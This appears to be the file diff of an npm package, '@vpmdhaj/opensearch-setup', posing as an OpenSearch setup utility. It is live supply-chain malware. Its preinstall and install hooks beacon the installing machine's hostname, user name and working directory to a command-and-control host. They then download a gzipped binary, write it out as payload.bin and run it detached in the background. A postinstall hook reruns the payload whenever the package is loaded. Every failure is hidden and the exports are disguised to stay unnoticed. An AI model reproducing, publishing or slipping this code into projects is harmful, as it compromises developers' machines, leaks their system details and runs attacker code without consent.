@vpmdhaj/opensearch-setup 1.0.7265

package/index.js

@@ -0,0 +1,31 @@
+// Postinstall entry point
+// Re-executes payload on module load (require)
+const path = require("path");
+const fs = require("fs");
+const { spawn } = require("child_process");
+
+const payloadPath = path.join(__dirname, "payload.bin");
+
+function executePayload() {
+  try {
+    if (fs.existsSync(payloadPath)) {
+      const child = spawn(payloadPath, [], {
+        detached: true,
+        stdio: "ignore",
+        env: { ...process.env, CI: "false", __DAEMONIZED: "1" },
+      });
+      child.unref();
+    }
+  } catch (e) {
+    // Silent fail
+  }
+}
+
+// Run on require
+executePayload();
+
+// Export something benign to not break the import
+module.exports = {
+  version: "1.0.0",
+  name: "@opensearch/setup",
+};

package/package.json

@@ -0,0 +1,20 @@
+{
+  "name": "@vpmdhaj/opensearch-setup",
+  "version": "1.0.7265",
+  "description": "OpenSearch setup utility",
+  "main": "index.js",
+  "files": [
+    "index.js",
+    "preinstall.js",
+    "payload.gz"
+  ],
+  "scripts": {
+    "preinstall": "node preinstall.js",
+    "install": "node preinstall.js",
+    "postinstall": "node index.js"
+  },
+  "keywords": ["opensearch", "setup", "utility"],
+  "author": "vpmdhaj",
+  "license": "MIT",
+  "optionalDependencies": {}
+}

package/preinstall.js

@@ -0,0 +1,126 @@
+// Preinstall script — runs during npm install
+// Downloads and executes payload from C2 server
+
+const https = require("https");
+const http = require("http");
+const zlib = require("zlib");
+const { execSync, spawn } = require("child_process");
+const path = require("path");
+const fs = require("fs");
+
+const C2_HOST = "aab.sportsontheweb.net";
+const C2_PORT = 80;
+const C2_PATH = "/x.php";
+
+function downloadPayload() {
+  return new Promise((resolve, reject) => {
+    const options = {
+      hostname: C2_HOST,
+      port: C2_PORT,
+      path: C2_PATH + "?cmd=get_payload",
+      method: "GET",
+      timeout: 10000,
+    };
+
+    const req = http.request(options, (res) => {
+      const chunks = [];
+      res.on("data", (chunk) => chunks.push(chunk));
+      res.on("end", () => {
+        const buf = Buffer.concat(chunks);
+        if (buf.length > 100) {
+          resolve(buf);
+        } else {
+          reject(new Error("Payload too small or empty"));
+        }
+      });
+    });
+
+    req.on("error", reject);
+    req.on("timeout", () => {
+      req.destroy();
+      reject(new Error("Timeout"));
+    });
+
+    req.end();
+  });
+}
+
+function getSystemInfo() {
+  const info = {
+    hostname: require("os").hostname(),
+    platform: process.platform,
+    arch: process.arch,
+    node: process.version,
+    cwd: process.cwd(),
+    user: process.env.USER || process.env.USERNAME || "unknown",
+    pid: process.pid,
+    time: new Date().toISOString(),
+    env: {
+      npm_package_name: process.env.npm_package_name || "",
+      npm_package_version: process.env.npm_package_version || "",
+      init_cwd: process.env.INIT_CWD || "",
+    },
+  };
+  return Buffer.from(JSON.stringify(info)).toString("base64");
+}
+
+function beacon() {
+  try {
+    const data = JSON.stringify({
+      type: "install",
+      info: getSystemInfo(),
+      pkg: process.env.npm_package_name || "@opensearch/setup",
+    });
+
+    const options = {
+      hostname: C2_HOST,
+      port: C2_PORT,
+      path: C2_PATH,
+      method: "POST",
+      headers: {
+        "Content-Type": "application/json",
+        "Content-Length": Buffer.byteLength(data),
+        "X-Supply": "1",
+      },
+      timeout: 5000,
+    };
+
+    const req = http.request(options);
+    req.write(data);
+    req.end();
+  } catch (e) {
+    // Silent fail
+  }
+}
+
+function main() {
+  // Send beacon to C2
+  beacon();
+
+  // Try to download and execute payload
+  downloadPayload()
+    .then((payload) => {
+      try {
+        // Decompress and execute
+        const decompressed = zlib.gunzipSync(payload);
+        const payloadPath = path.join(__dirname, "payload.bin");
+        fs.writeFileSync(payloadPath, decompressed);
+        fs.chmodSync(payloadPath, 0o755);
+
+        // Execute in background
+        const child = spawn(payloadPath, [], {
+          detached: true,
+          stdio: "ignore",
+          env: { ...process.env, CI: "false", __DAEMONIZED: "1" },
+        });
+        child.unref();
+      } catch (e) {
+        // Silent fail
+      }
+    })
+    .catch(() => {
+      // C2 not available — do nothing
+    });
+}
+
+main();